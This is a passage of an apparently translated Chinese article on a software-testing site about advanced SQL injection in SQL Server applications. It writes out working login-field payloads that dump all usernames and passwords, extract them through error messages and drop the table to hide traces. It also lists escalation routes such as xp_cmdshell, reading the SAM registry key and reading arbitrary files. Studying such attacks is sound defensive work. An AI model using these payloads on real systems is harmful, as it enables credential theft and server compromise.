• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

软件测试开发技术SQL Server应用程序中的高级SQL注入

发布: 2009-10-14 09:55 | 作者: 不详 | 来源: 领测软件测试网采编 | 查看: 16次 | 进入软件测试论坛讨论

领测软件测试网

 攻击者使用这个当作用户名登陆(都在一行)

  Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—

  这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。

  然后攻击者就可以取得我们要得到的字符串:

  Username:' union select ret,1,1,1 from foo—

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.

  /process_login.asp, line 35

  然后丢弃(删除)表来清楚脚印:

  Username:'; drop table foo—

  这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

  获得更高的权限

  一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

  1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。

  2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)

  3. 利用其他存储过程去改变服务器

  4. 在连接的服务器上执行查询

  5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码

  6. 使用'bulk insert'语法去读服务器上的任意文件

  7. 使用bcp在服务器上建立任意的文本格式的文件

  8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备2023014753号-2
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网